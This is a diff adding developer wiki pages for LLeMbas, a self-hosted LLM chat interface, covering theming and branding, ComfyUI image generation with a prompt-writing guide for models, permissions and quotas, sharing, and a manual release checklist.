`lembas:toggle` — which is how `terminal.js` learns it is visible and may
measure itself. xterm's `fit()` reads `offsetWidth`, which is 0 inside a
`[hidden]` ancestor, so fitting early is a silent no-op that leaves an
80-column terminal in a 34rem panel.
**xterm holds colours as values, so the theme has to be pushed at it.**
`applyTheme` dispatches `lembas:theme`; without it, switching to `shire` leaves
a black rectangle in a light interface. Same reason a `ResizeObserver` is on the
panel: a window `resize` never fires when the sidebar is toggled beside it.
Branding.md
+138
@@ -0,0 +1,138 @@
# Branding and customization
Read this before touching `services/branding.py`, the `brand` Jinja global, the
`data-theme` / `data-base` pair, or `/branding.css`.
An instance can be somebody else's. That is four separate things — an identity,
the flavour text, themes, and arbitrary CSS — and they are separate because they
fail differently.
## Why a snapshot, and why a Jinja global
`render()` has no database session, and four render paths never reach it at all:
the sign-in page, the error pages, the offline page and the SSE fragments. A
context value would have to be threaded through every one of them, and would
still miss the ones that bypass `render()`.
So `branding.snapshot()` is a **process-level cache**, exposed as
`templates.env.globals["brand"]` through a small proxy. It has to be a proxy, not
the snapshot itself: a global is bound once at import, and the snapshot changes
when somebody saves.
`branding.forget()` is called by `api/admin_branding.py` and by nothing else. A
save that did not drop the cache would take effect at the next restart — the
"looks like it worked and did nothing" failure this codebase keeps cataloguing.
`tests/conftest.py` drops it between tests for the same reason it clears the
generation registry: otherwise the first test to render a page pins one
instance's identity against a database that has since been thrown away.
**`brand` is a global, so it works inside a macro.** That is what lets `mark()`
branch on an uploaded logo without every one of its six call sites learning about
branding. The macro that renders the sidebar brand link is called `brandlink` for
exactly this reason: a macro imported as `brand` shadows the global for the whole
template, which took out every page at once when it was called that.
## Defaults in code, overrides in the database
The prompt-fragment rule again, with **one difference that matters**. A fragment
stored empty means *off*; a flavour string stored empty means *use the shipped
wording*. A fragment being off is a state somebody wants, and a heading with no
words is not.
`stored_only` blanks anything equal to its shipped text rather than dropping the
key, and the reason is `settings_store.update`: it **merges**, so an omitted key
leaves whatever was stored last time. Dropping would make "I typed the default
back in" and "I changed nothing" store different things, and would make clearing
a box do nothing at all.
## The instance name moved
It lived in the general group before there was a branding one. Storage is
unchanged for an upgrade: `_read` seeds from the general row **when the branding
row has never said anything about the name** — `"instance_name" in row.value`,
which is why it reads the raw `Setting` rather than `get_group` (that one fills
in defaults and cannot tell absent from empty). An empty stored name is somebody
clearing the box and has to mean the default; reading the two the same way would
resurrect the old name underneath a cleared one.
`/admin/general` lost the field rather than keeping a second copy of it. Two
controls writing one value is how each becomes the answer to "why did my change
not stick?" — the same complaint the plan makes about group membership.
## Themes are token sets
`tokens.css` declares every colour under `:root[data-theme="…"]`, and no
component hard-codes one. That is what makes a third palette compose at all.
A custom theme sets a handful of tokens and **inherits the rest**, and the
inheritance is a CSS fact rather than a Python one:
- Moria's block matches bare `:root`, so it always applies.
- Shire's block matches `:root[data-theme="shire"]` **and
`:root[data-base="shire"]`**. That second selector is the whole mechanism.
- `<html>` carries both attributes. A custom light theme is
`data-theme="dusk" data-base="shire"`, so it gets the parchment palette
underneath its own four colours. Without it, four light colours would sit on
near-black surfaces.
- `/branding.css` loads after `tokens.css`, so the custom block wins on order at
equal specificity.
`--accent-soft`, `--leaf-soft` and `--danger-soft` are **derived** from the
colours above them, not asked for. They are the same hue at 14%, and an
administrator who set an accent without them would get focus rings in the old
one — which reads as the setting half-working rather than as a field they missed.
**Values are validated on read, not on save.** A theme written straight into the
settings table, or stored by an older version, still has to produce a stylesheet
that parses. A value that is not a colour is *dropped* rather than corrected: a
colour nobody can read is visible, and a mangled one is not. This is not
decoration — a `}` in a value ends the rule and silently breaks every rule after
it, and `url(…)` in a colour slot is a request to a third party from every page.
## The theme list is one list now
It used to be a hard-coded pair in five places. It is `brand.theme_ids` on the
server and `data-themes` on `<html>` in the browser — `id:base` pairs, space
separated, because both things that need it (`/theme` validating a name and
`applyTheme` setting both attributes) want a list to split rather than a document
to parse. `app.js:toggleTheme` goes round the list rather than flipping between
two names; with only the built-in pair that is byte-for-byte what it did before.
Every failure mode here is silent: `applyTheme` returning early on an unknown
name looks exactly like a button that does nothing, and
`POST /api/preferences/theme` answers a rejection with `{"ok": false}` that
nothing displays. `tests/test_branding.py` and the DOM stub cover both
directions.
## `/branding.css` is a route
A route and not an inline `<style>`, and that is a **security property** before
it is a caching one: an external stylesheet has no HTML context to escape from,
so an administrator's CSS cannot become markup however it is written. Inline, the
same text would be one `</style>` away from being a script on every page.
The link carries `?v={{ brand.revision }}`, a hash of everything the route
builds, so the URL changes exactly when the stylesheet does. It is **deliberately
not in the service worker's precache list**: that cache is versioned by the
release, and branding changes between releases, so a precached copy would outlive
every rebrand until the next version bump.
## Assets are served unauthenticated, and SVG is not accepted
`/branding/{filename}` has no auth guard, for the reason the manifest and the
offline page have none: the sign-in page needs the logo before anybody has signed
in, and a browser fetches a manifest icon outside any session.
What that exposes is a file an administrator uploaded on purpose to be shown to
everybody, under a random name, in a format that cannot execute in an `<img>`.
`uploads.ALLOWED_TYPES` is what makes the last clause true, and it is why **SVG
stays out** — the one place somebody will most want it is the one place it is
least safe.
Launcher icons are derived from the uploaded logo with Pillow at save time, not
on demand: a manifest icon has to be a real PNG at the size it declares, and
resizing on the path that serves it would be work per request. Best-effort — an
instance whose logo cannot be resized keeps the shipped icons, which is a worse
launcher tile and not a broken install. The manifest swaps the **whole set** or
none of it, because a tile that changes when the device picks a different size
reads as a bug in the install.
Home.md
+58 -1
@@ -1 +1,58 @@
Placeholder. Replaced by the first push. # LLeMbas — developer documentation
A self-hosted web interface for OpenAI-compatible endpoints. Server-rendered
FastAPI + Jinja + htmx, SQLite, no JavaScript build step, themed after
Middle-earth. Point it at whatever you run — llama.cpp, LM Studio, vLLM, Ollama,
OpenRouter, OpenAI — and it works the same.
The [repository](https://git.houmeres.sk/Houmeres/LLeMbas) holds the code, the
`README` and the `CHANGELOG`. **The documentation lives here**, so that a clone
carries software and this carries the reasoning behind it.
## Start here
**[Working notes](Working-notes)** — the one document to read before changing
anything. What the project is, the six hard rules it is built around, the layout,
and a long catalogue of *things that will bite you*: the bugs that shipped
looking correct, why each happened, and what stops it happening again. If you
read one page, read that one.
**[Roadmap](Roadmap)** — what is built, what is deliberately not, and the
decisions behind each with the reasoning kept rather than summarised.
## By topic
Each of these was split out of the working notes because it is only wanted while
you are in that corner of the code.
| Page | What it covers |
|---|---|
| [Agent chats](Agent-chats) | The four modes and where each is enforced, how a round is authorised, how "always allow this" derives a pattern, SSH, background jobs, the file tools and the patch matcher, the project listing, and the terminal panel. |
| [Schedules and reports](Schedules-and-reports) | Claiming a schedule before firing it, the pure recurrence rule, the wake lock, task chats, the Reports feed, and the four scheduling tools a model calls. |
| [Permissions and sharing](Permissions-and-sharing) | The union rule shown rather than thrown away, where read and write are split and why not everywhere, quotas as the union rule applied to numbers, and the three deletes that have to forget a share. |
| [Search and extraction](Search-and-extraction) | Extraction limits as a snapshot, why reciprocal rank fusion and not a weight, how a record scores as its best chunk, and why vectors from two models never meet. |
| [Image generation](Image-generation) | The ComfyUI workflow with holes in it, what substitution walks, the review-and-retry loop, and how a failure reports itself. |
| [Subagents](Subagents) | The hidden chat a helper runs in, why `unattended` is a column and not a kind, what it may run, and where the three bounds are counted. |
| [Branding](Branding) | The branding snapshot and why it is a Jinja global, how a custom theme inherits through `data-base`, and why `/branding.css` is a route. |
| [Release checklist](Release-checklist) | The manual pass before a release — everything needing a real endpoint, a real machine, real hardware or a real pair of eyes. |
| [Image generation instructions](Image-generation-instructions) | The prompt guidance shipped for drawing. |
## Two things worth knowing before you start
**Nothing executes on the machine LLeMbas runs on.** Agent chats run their
commands on a host reached over SSH. A local sandbox was designed in detail and
dropped; the [Roadmap](Roadmap) records why. The security of an agent chat is
the security of the host behind its profile.
**One worker.** The generation registry, the terminal sessions and the schedule
ticker are all in-process. Two workers means two tickers and every schedule
firing twice.
## Releases
Signed annotated tags, `vX.Y.Z`, no suffixes. **The tag message is the release
notes** — `/admin/updates` reads it with `git for-each-ref` rather than a forge
API, so what goes into the tag is what an administrator sees on the update page.
The Releases page carries the same text, and is always made *from* an existing
tag: a Release created for a tag that does not exist writes a lightweight one
with no message, and the update page then shows a version with blank notes.
Image-generation-instructions.md
+140
@@ -0,0 +1,140 @@
# Extra instructions for image generation
Paste the block below into **Admin › Image generation › Extra instructions**.
It reaches every model on the instance, above whatever each chat's own system
prompt says, and it appears only when the image tool is actually offered.
It is longer than the built-in guidance on purpose. The built-in fragment has to
suit every instance and is kept short because it costs tokens on every request
in every chat that can draw; this is yours to make as long as your models need.
**Small models need more of it.** A 4B model left to itself passes the request
through verbatim — "draw me a cat" becomes the prompt "draw me a cat" — and
leaves ten parameters at their defaults for ever. Most of what follows exists to
stop that.
Trim it if your models are large enough not to need it: every line of it is sent
on every request in every chat where image generation is on.
Two things it deliberately does **not** cover, because LLeMbas already tells the
model and repeating them wastes the window:
- the parameter ranges and defaults — those are in the tool's own schema
- that the picture is already on screen — that is in the built-in fragment
---
```text
WRITING THE PROMPT
Never send the request as the prompt. "a cat" is a request; the prompt is what
you write from it. Expand it into a description, in this order:
subject, what it is doing, setting, lighting, composition, style and medium
Comma-separated phrases, not a sentence. Concrete nouns and adjectives. Twenty
to sixty words is the useful range: below that the model invents everything you
left out, and much above it the later words stop having any effect.
weak: a cat
better: a ginger tabby cat asleep on a windowsill, curled up, potted herbs
beside it, low afternoon sun through old glass, warm rim light,
shallow depth of field, 50mm photograph
Say the medium explicitly — photograph, oil painting, pencil sketch, 3D render,
watercolour, screen print. Without it you get an averaged, plasticky look that
belongs to no medium at all.
For a photograph, naming a lens and light does most of the work: 35mm, 85mm
portrait, golden hour, overcast, backlit, studio softbox.
For an illustration, name the tradition rather than a living artist: art
nouveau, ukiyo-e, mid-century children's book, technical cutaway diagram.
Do not write instructions in the prompt. "make sure there are exactly two
people" is not understood. Describe the result: "two people".
NEGATIVE PROMPTS
Plain nouns and adjectives for things that must not appear:
"blurry, low quality, extra fingers, deformed hands, text, watermark, signature".
Never phrase it as an instruction. "no text" contains the word text and puts
text in the picture. The negative prompt is a list of things to avoid, not a
sentence to obey.
Add "extra fingers, deformed hands" whenever hands are visible, and
"extra limbs, fused bodies" for more than one person.
SIZE
Choose the aspect ratio for the subject, then keep the total near what the
checkpoint expects.
portrait of a person 512x768 (or 832x1216 on an SDXL checkpoint)
landscape or interior 768x512 (or 1216x832)
square, product, icon 512x512 (or 1024x1024)
Going far above what a checkpoint was trained for does not add detail: it adds
second heads, extra limbs and repeated horizons. If you want more detail, add
detail to the prompt.
CHOOSING A CHECKPOINT AND A TEMPLATE
Read the descriptions you were given and pick by what the picture needs. When
nothing obviously fits, leave both out — the chat's usual ones are used, and a
wrong guess costs a whole generation.
WHEN TO CHANGE THE OTHER PARAMETERS
drafting, or making several to compare steps 10-12
the result looks harsh or over-saturated cfg 4-6
the subject is being ignored cfg 9-11, and simplify the prompt
fine texture matters steps 35-45, sampler dpmpp_2m,
scheduler karras
Otherwise leave them alone. Changing three at once teaches you nothing about
which one helped.
CHANGING A PICTURE YOU HAVE ALREADY MADE
You are told the seed of every image you generate. To change one thing and keep
the rest, send the same seed with an edited prompt. To get something completely
different, omit the seed or send -1.
Note that you cannot see a picture again on a later turn, so decide what to
change from what you wrote, not from what you remember seeing.
WHEN IT FAILS
Out of video memory: generate again at about half the width and height, or with
a lighter checkpoint. Do not resend the same request — it will fail the same
way.
Cancelled: somebody stopped it deliberately. Say so and ask before starting
another.
Anything else: say what failed and what you were trying to draw. Do not retry
the identical request more than once.
AFTERWARDS
The picture is already in the conversation. Say in one or two lines what you
made and what you would change — the checkpoint, the size and the seed are
shown, so do not repeat them.
```
---
## A shorter version
For a large model, or an instance where the window is tight:
```text
Write the prompt as a description, never as the request you were given:
subject, action, setting, lighting, style and medium, comma-separated,
twenty to sixty words. Always name the medium. Use the negative prompt for
things to avoid, as plain nouns ("blurry, extra fingers, text") and never as
an instruction. Choose the aspect ratio for the subject — taller for a
person, wider for a place — and keep the total near what the checkpoint
expects. Change the other parameters only for a reason. If it runs out of
video memory, retry once at half the size or with a lighter checkpoint.
```
Image-generation.md
+175
@@ -0,0 +1,175 @@
# Image generation
Split out of [Working-notes](Working-notes) -- same document, same rules, kept here because that
file is loaded in full on every session and this part is only wanted when you
are working on drawing on a ComfyUI. Read it before you do.
Covers `services/images/` -- `comfy.py`, `workflow.py`, `tool.py` -- and
`api/admin_images.py`.
**Image generation is a ComfyUI workflow with holes in it, and the holes are the
administrator's statement.** `services/images/` is three modules: `comfy.py`
speaks HTTP, `workflow.py` fills a template, `tool.py` ties them to a chat.
Which node holds the prompt is *declared* with `{{prompt}}` rather than sniffed
by node type — looking for the first `CLIPTextEncode` works on the shipped
workflow and on nothing else, and swaps positive for negative the first time
somebody reorders them.
**Substitution walks the parsed JSON, not the text of it.** A value that is
*exactly* `"{{steps}}"` becomes the number 20; ComfyUI validates types and
refuses the string. A placeholder inside a longer string is still text, which is
what makes `"{{prompt}}, masterpiece"` work. Doing it textually would also mean
a prompt containing a quotation mark produced a document that no longer parses,
on the one input guaranteed to hold arbitrary text. `seed` has no fixed default
— one would make every unspecified generation identical and make the retry loop
redraw the same rejected picture four times. **A negative seed means random**,
because `-1` is what ComfyUI's own interface, A1111 and everything else that has
ever asked for a seed use for it, so a model that has read any of them writes
it: without that it went through the uint64 wrap and arrived as
18446744073709551615, a perfectly valid *fixed* seed, so "give me something new"
returned the same picture every time.
**One call is one finished image, and the retrying is inside the tool.**
Returning every attempt to the conversation would cost a round each, make the
ceiling advisory rather than enforced, and walk the reader past every reject. So
the reviewer — the admin's chosen vision model, else the chat's own if it has
vision, else nobody — is asked about *bytes* rather than about a row: an attempt
about to be discarded should not leave an `Attachment` behind, so it sees a
downscaled preview built in memory and only the kept image is written. Anything
that goes wrong in review is a **keep**; losing a picture because a judging
request timed out would be the check destroying the thing it was checking. The
last attempt is kept whatever the verdict, so a request always produces
something. Rejected images are not stored — their verdicts are, in `event.text`.
**`task.image_review` is a `GROUP_TASKS` fragment**, so it is editable and
excluded from the harness, exactly like `task.title` and `task.compact` — and
clearing it switches reviewing off, the same way clearing `task.compact` switches
compaction off. It is biased hard towards KEEP on purpose: a reviewer that
retries on taste spends the GPU four times and usually ends up back at the first
image.
**A failed generation is `completed: false` for ever, so waiting on that flag
hangs the reply.** ComfyUI writes its history entry in `task_done` and nowhere
else, so the entry appearing *is* "finished" — but it sets `completed=e.success`,
which means an out-of-memory, a cancelled job and a broken node all stay
incomplete permanently. The first version waited on the flag, so every failure
sat for the full 600s timeout and then reported a timeout, when ComfyUI had known
within one second and written down exactly what happened. The terminal condition
is now *a record with a status*, and `status.messages` is read for the last
`execution_error` or `execution_interrupted` in it, which carries the node and
the exception.
Two failures get their own class because they have an obvious next move.
`OutOfMemory` — matched on `exception_type`, not on the message, which is a
paragraph of allocator advice addressed to whoever runs the box — makes the tool
tell the model to retry at a named smaller size (worked out from what it actually
asked for, because "use a lower resolution" against a request that was already
512x512 is advice nobody can follow) or with a lighter checkpoint. `Interrupted`
is not a fault at all: somebody pressed stop, and the model is told not to simply
start it again. **Everything else gets the reason and no advice** — a model told
to "try again" after a broken workflow tries the identical thing, and a
suggestion invented for a failure nobody understands is a guess wearing the
application's authority.
**A tool's parameter descriptions are instructions, and terse ones are why a
model sends only the prompt.** "cfg: prompt adherence, default 8" tells a model
nothing it can act on. Measured against a 4B model on the same request: with the
terse descriptions it sent `prompt` and `template` and nothing else — meaning
512x512 defaults on an SDXL checkpoint, which is precisely the duplicated-limbs
failure the width description now warns about. With descriptions that say what
each value *does to the picture* and when to move it, the same model sent a
portrait 1024x1536 and a deliberate sampler. It costs ~3KB of schema per request
in a chat that can draw, and it is the difference between having ten parameters
and having one. [Image-generation-instructions](Image-generation-instructions) is the long version, to
paste into the admin instructions box for models that need more than the harness
can afford to carry.
**Preserve VRAM unloads the chat's own connection and nothing else.**
`Connection.unload_url` is a column because the memory being freed belongs to one
machine: a local llama-swap answers `GET /unload`, and a box on the network has
no reason to be unloaded when ComfyUI wants memory *here*. Empty means "cannot be
unloaded", which is the honest default — there is no call that works everywhere.
The swap goes round the *review*, not round the tool: unload, generate, free
ComfyUI, ask the reviewer (which loads the LLM again), round again if it said no.
Two model loads per retry, which is why the two settings are independent and the
page says so when both are on. **Nothing loads the LLM back at the end** — the
reply's next request does, and llama-swap loads on demand; that step exists in
the description and not in the code, which is why the code says so.
**A generated image rides on the assistant message, so `message_payload` sends
images only on `user` turns.** No assistant message had ever carried one before,
so the distinction had never been drawn — and the moment one does, the
multimodal list form on an `assistant` turn is rejected by OpenAI and most local
runners, breaking not that turn but every later one in the chat. What follows and
is worth knowing: on a *later* turn the model cannot see the picture it made
(tool results are not replayed either), so "make it bluer" regenerates rather
than edits. Honest for a text-to-image workflow with no img2img path.
**The runner writes the file; only the loop says which turn owns it.**
`event["attachment_id"]` is carried by `generation._run` exactly as
`event["canvas"]` and `event["plan"]` are, because `_persist` is the single
writer. `_bind_attachments` narrows on this chat and on rows still unbound, for
the reason `files.claim` does: the ids arrive on a dict a runner built.
**`files.store(keep_original=True)` skips the resize and the transcode, and
nothing else.** `_process_image` turns anything without alpha into JPEG q85 at
1400px, which is right for a phone photo and a visible loss on generated art.
Pillow still opens it, so a malformed file is still refused and the dimensions
are still measured rather than claimed.
**`/image` forces one tool for one round.** It sends the ordinary message with
`force_tool`, which becomes `tool_choice` — reusing the whole loop rather than
inventing a second generation path. `FORCEABLE_TOOLS` is an allow list because
this is read off a form, and `resolve_tools` still decides whether the tool
exists, so forcing one that was never offered does nothing. `payload.pop(
"tool_choice")` after the first round is load-bearing: left in place the reply
would draw a picture, be asked again, and draw another.
## The defaults an administrator can set
**There were none, for the whole life of the feature.** `workflow.DEFAULTS` was
the only source, so 512×512, `euler` and twenty steps were what every instance
got whatever card it was running on — and 512² on an SDXL checkpoint is exactly
what the tool's own `width` description warns produces duplicated limbs. The two
ways round it were both bad: bake literals into a template where the
placeholders should be, or write prose in the instructions box and hope the
model obeys it.
`resolve(given, settings=…)` is three rungs now, most specific winning:
**`DEFAULTS` → the instance's `default_*` settings → what the model asked for.**
`DEFAULTS` stays underneath as the floor, so an instance that sets nothing
behaves exactly as it did, and improving a floor in code still reaches everyone.
**An empty setting is "no opinion", not zero.** `_number` in `admin_images`
returns `""` for an empty box and `instance_defaults` skips it. Reading it as a
number instead would set every instance to zero steps, which ComfyUI refuses in
a way that looks like a broken model.
**The samplers and schedulers were already being discovered and read by
nothing.** `comfy.discover()` has fetched all three lists since the Test button
existed, and only `checkpoints` was ever used. The pickers are built from the
other two. A stored value that is not in the list is kept as an option anyway,
or opening the page and pressing Save would silently clear a working setting.
**`batch` is a placeholder a model cannot set.** `batch_size` was a literal `1`
in the base template, so an administrator whose card can make four at a time had
no way of saying so. It is absent from `MODEL_SETTABLE`, deliberately: a model
asking for six because it is unsure is the exact cost this must not invite.
**The schema restates the defaults it quotes.** Every "Default 20." in
`SCHEMA` was written when there was one set of defaults in the world.
`_restate_defaults` rewrites each one from what this instance actually resolves
to — a schema saying "Default 512" beside an instance that draws at 1024 is
worse than saying nothing, because the model reasons from it and omits the
parameter, arriving at the right behaviour for the wrong reason or the wrong one
silently. The regex keeps the punctuation it found, since `denoise` says
"Default 1, which is…" and the rest use a full stop.
**The workflow editor's legend shows the resolved value beside each
placeholder.** A list of names answers "what may I write"; the question somebody
has in front of a workflow that came out wrong is "what happens if I leave this
out", and that answer moved the day instance defaults arrived. It is resolved
through the same call a generation makes, so the two cannot disagree. The legend
also states the two names that are not ComfyUI's own — `{{model}}` fills
`ckpt_name` and `{{sampler}}` fills `sampler_name` — which is the mistake that
costs an afternoon.
Permissions-and-sharing.md
+143
@@ -0,0 +1,143 @@
# Permissions, quotas and sharing
Read this before touching `security/permissions.py`, `services/sharing.py`,
`services/usage.py`, or the admin user and group screens.
## The union rule, and what it costs
Permissions are a flat set of named booleans: a baseline, widened by each group.
**A group grants; it never denies.** That is a recorded decision and the reason
still holds — with denies, "why can this person not do X" needs a simulation of
every group they are in.
`permissions.explain(db, user)` is `resolve`'s working *shown* rather than thrown
away: for each key, whether it is on and what granted it — "admin", "baseline",
or the names of the groups. The user detail page renders it read-only, because
every one of those switches is set somewhere else and a control there would be a
third place to change one thing.
## Read and write, split for three gates
`tools.notes` used to be one switch over five tools. Three gates now have a
second permission, `tools.<gate>.write`, listed in `permissions.SPLIT_GATES`:
notes, memory, skills.
It is checked in `resolve_tools`, not in `_family_allowed`, and that is not
tidiness: `_family_allowed` is given a *family* and this needs the *tool*, since
the whole point is that two tools in one family get different answers. It applies
**after** the gate, so it can only narrow what was already allowed, and all three
default on — an instance that never looks behaves exactly as it did.
Not split everywhere. `web_search` has no write half; `report` is a write with no
read worth withholding; `agent` has modes, which are finer than a permission and
are per chat. A permission whose answer is always "the same as that one" is one
nobody should be asked about.
## Quotas are the union rule applied to numbers
`Group.limits_json`, resolved by `permissions.limits_for`. Five axes, because
they fail differently and a single "budget" would need an exchange rate between
a token and a minute of somebody's GPU.
Three rules, and the third is the one that is easy to get wrong:
1. **Maximum across groups** — a second group can only ever grant more.
2. **Absent contributes nothing** — a group with no opinion about tokens must not
silently make somebody unlimited.
3. **Zero means no limit and wins outright.** A plain maximum would make a group
saying "unlimited" count for less than one saying "a million" — the union rule
inverted for exactly the value somebody sets when they mean *stop limiting
this person*.
The same asymmetry appears wherever a group's ceiling meets the instance's, so
`generation._narrower` is written once: it is not `min`, because a zero on either
side would win and turn "no opinion" into "no time at all".
Administrators are unlimited, for the reason they hold every permission.
### Where each is enforced, and why there
| axis | where | why there |
|---|---|---|
| `monthly_tokens` | start of `generation._run` | knowable in advance; a reply that trailed off mid-sentence because a month ran out is the failure `_wrap_up` exists to prevent |
| `concurrent_replies` | `api/chats.py:_send` | the only place with somebody to tell — a schedule firing has nobody at the keyboard |
| `agent_seconds` | `_run`, narrowing `Limits` | the instance's ceiling already lives there |
| `images_per_day` | `images/tool.py:run` | before a minute of GPU is spent |
| `helpers_per_reply` | `subagent._run_subagent` | beside the instance's own per-reply cap |
`concurrent_replies` is in-process, and that is exact **only because this
application runs one worker**. With several it becomes a guess, and a quota that
is a guess should be a number in the database instead.
## Usage is recorded even when the reply failed
`generation._persist` is the single writer for everything a reply produced, and
it records usage whether the reply finished, was stopped, or errored. An endpoint
charges for tokens it generated regardless of whether anybody wanted them, and a
quota that only counted happy paths is one a Stop button walks past.
One row per user per period, UTC. Not the reader's timezone: a quota that reset
at a different instant for each member of a group is one nobody can reason about.
`usage.record` never raises — bookkeeping that broke a reply would be worse than
no bookkeeping.
`images_today` is counted off `Attachment` rather than kept as a counter, because
there is a natural source of truth and a *daily* counter would need a second row
shape and a second reset.
## Nothing cascades to a `Share`
`Share.principal_id` points at a user *or* a group, and `resource_id` at one of
four tables, depending on a sibling column. SQLite cannot express either as a
foreign key, so **every delete has to say so explicitly**:
- `delete_group` → `forget_principal(GROUP, id)`
- `delete_user` → `forget_owner(id)` **and** `forget_principal(USER, id)`
- deleting a resource → `forget_resource`
`forget_principal` existed for exactly this and was called by nobody.
`forget_owner` is new and is the half nothing else could catch: their rows
cascade when the account goes, and the shares *of those rows* have nothing to
cascade from. Both run **before** the delete, while the rows are still findable.
## Reports are shareable; memories are not
A report is read once and never answered, so sharing it has none of the
two-editors problem that keeps writing off the table. A memory is a record *about
a person*, which is not content to hand round — that decision stands.
`reports.visible` became `sharing.visible_to` — one line, which is what its own
docstring predicted. Two consequences that needed saying:
- `reports.owned` exists beside `get`. Sharing grants **reading**, so deleting is
the owner's alone. Two functions rather than a flag, because a route that wants
one and calls the other is a bug you can see in the name.
- **Reading somebody else's report does not clear their dot.** `unread` is the
owner's notification, and a reader opening it would silence something meant for
a person who has not seen it.
## The share panel is its own action
It used to be checkboxes inside the resource's save form, listing every group and
every account on the instance, unpaginated, on every detail page — and a tick
only took effect if the resource happened to be saved afterwards. Now:
- `api/sharing.py` serves the panel and takes **one grant per POST**, answering
with the panel again, so what is on screen is what is stored.
- It searches. Anything already shared stays listed whatever the search says, or
the only way to remove a grant would be to search for the name it was given to.
- A principal id that names nothing is refused — a crafted one would write a
grant invisible in the panel and unremovable from it.
- Only the owner may reach any of it, checked with `sharing.can_write`
(ownership, nothing else). A 404 rather than a 403: somebody who cannot share
it has no business learning whether it exists.
`library.share` **defaults on** now. It was off, which meant sharing shipped
documented as done and unreachable — the panel only renders for somebody holding
it, so out of the box nobody could share anything and nothing said why.
## Sharing still grants reading only
Recorded, and the reason still holds: two editors, no history, no merge. Writable
shares would touch `owned_by`, `can_write` and four places in `canvas.py`. Not
for 1.0.
Release-checklist.md
+160
@@ -0,0 +1,160 @@
# The manual pass, before a release
What the suite cannot reach. Everything here needs a real endpoint, a real
machine, real hardware or a real browser with a person in front of it — which is
to say, everything where the failure is "it works but nobody could use it".
Run it against the live instance. Tick nothing you have not actually seen.
Times are rough and assume things are already configured.
---
## 1. A model answers at all (5 min)
- [ ] Send a message. The reply streams in **as it is written**, not all at once
at the end. (A reply that arrives complete means something is buffering —
a proxy, or a worker that collected the response.)
- [ ] The thinking block, on a reasoning model: opens, shows a duration, and the
duration is not the same number on every round.
- [ ] Stop mid-reply. What arrived is kept, the bubble is marked stopped rather
than errored, and the composer returns to Send.
- [ ] Navigate away mid-reply and come back. The reply is still running and the
transcript catches up.
- [ ] Close the tab mid-reply, reopen the chat. The reply finished without you.
- [ ] Regenerate a reply. The old one is replaced, not appended.
- [ ] Edit an earlier message. Everything after it goes, and the conversation
runs on from there.
## 2. The composer (5 min)
- [ ] Type `/` — the menu appears on the **first** press, not the second.
- [ ] Choose a command with Enter. The box is left empty, not holding `/help`.
- [ ] Tab completes the highlighted command.
- [ ] `//` escapes: the message sends as written.
- [ ] A message that merely starts with a slash and is not a command **sends**.
- [ ] Type `@` and pick a file. The token stays in the sentence *and* a chip
appears.
- [ ] The highlighting behind `/` and `@` sits exactly over the text, at every
width, and does not drift as the box grows.
- [ ] Send. The highlighting clears with the box rather than a keystroke later.
- [ ] `Ctrl/⌘+Enter` sends from anywhere in the form.
- [ ] In an agent chat, the toolbar stays **one row** at every window width.
Send and the microphone never wrap to a second line.
## 3. Attachments and images (10 min)
- [ ] Drag an image in. It is downscaled and the model can describe it.
- [ ] Paste a screenshot. Same.
- [ ] A PDF: the text reaches the model; a scanned one says so rather than
contributing nothing silently.
- [ ] Rename a `.txt` to `.png` and upload it. It is stored as text.
- [ ] Attach from the **new-chat screen**, send, then delete the chat. The file
is gone from `data/uploads/attachments`. *(This is the 0.9.10 fix; before
it, the row went and the file stayed.)*
- [ ] Generate an image, if a ComfyUI is configured. It appears in the chat, and
deleting the chat removes the file.
## 4. Agent chats — needs a real SSH host (15 min)
- [ ] Add a connection. The fingerprint is shown **before** anything is sent.
- [ ] Each mode does what it says: **Manual** shows everything first, **Edit**
writes freely but asks before commands, **Auto** asks nothing, **Plan**
changes nothing and ends with a plan.
- [ ] Approve, refuse, and *edit* a proposed command. The edited one is what
runs, and the transcript says so.
- [ ] "Always allow this" — the next matching command runs without asking.
- [ ] Open the terminal panel. Type. Close the panel and reopen: the session
survived and the scrollback is there.
- [ ] **Change the connection while the terminal is open**, then type. Every
keystroke still reaches the shell. *(This is the 0.9.12 fix — before it,
output kept arriving and input was silently dropped.)*
- [ ] Start a long command in the background, navigate away, come back. You are
told it finished.
- [ ] Open the canvas, pick a file by browsing rather than typing a path, edit
it, save. The file changed on the far side.
- [ ] Try to point a connection at `127.0.0.1` and at `0.0.0.0`. **Both refused**
unless an administrator has opened the switch.
## 5. Things that happen later (10 min, plus waiting)
- [ ] Ask the model to schedule something ten minutes out. It uses the tool
rather than writing a note, and says the timing back **in words**.
- [ ] Check the Scheduled list: the timing shown matches what you asked for, in
your timezone.
- [ ] Wait for it to fire. A report is filed, or a message arrives.
- [ ] With the tab **closed**, a scheduled run reaches you by push (if enabled).
- [ ] The dot, the tab-title count and the system notification do not all fire
at once for the same arrival.
## 6. Sharing and permissions — needs two accounts (10 min)
- [ ] Share a note with the second account. They can read it and cannot edit it.
- [ ] "Shared with me" lists it.
- [ ] The second account cannot see anything not shared with them, **including
as an administrator**.
- [ ] Delete the second account. No share anywhere still names it.
- [ ] Set a group quota, spend past it, and confirm the reply ends with an
explanation rather than an empty bubble.
## 7. Audio — needs real hardware (5 min)
- [ ] Dictate a message. `Alt+M` starts it; the transcript lands in the box and
the highlighting repaints.
- [ ] Press the microphone **three times quickly** while the permission prompt
is up. Only one recording starts, and the browser's recording indicator
goes out when you stop. *(0.9.12.)*
- [ ] `Alt+R` reads the last reply aloud.
- [ ] Read-aloud-automatically does not re-read an old reply when you reopen a
chat.
## 8. The look of it (10 min)
Both themes, and a custom one.
- [ ] Tab through a page with the keyboard. Every control shows where you are.
- [ ] Narrow the window to a phone width on `/admin/models`, `/admin/prompts`
and a chat. Nothing is cut off and nothing needs sideways scrolling.
- [ ] Hints and timestamps are readable, not grey-on-grey. *(0.9.12 raised
`--ink-faint` in both themes; this is the one to eyeball.)*
- [ ] Switch tabs on `/admin/prompts`. The page does not jump and no screenful
of nothing appears. *(0.9.10.)*
- [ ] Make a custom theme with four colours. It composes, and the focus rings
pick up the new accent.
- [ ] Install to the home screen. The icon and the name are the branded ones.
## 9. Upgrading (15 min)
The one nobody does until it matters.
- [ ] From a **copy** of a real 0.8.x database, start the new version. It boots,
the chats are there, and nothing in the log says a column is missing.
- [ ] `/admin/updates` shows a version rather than a sha, and the release notes
come from the tag.
- [ ] Push the **signed annotated tag first**, then make the forge Release from
it — never the other way round. A Release created for a tag that does not
exist yet makes a **lightweight** one: no message, no signature, so the
forge page looks right and `/admin/updates` shows blank release notes.
The tag is what the application reads; the Release is a second window onto
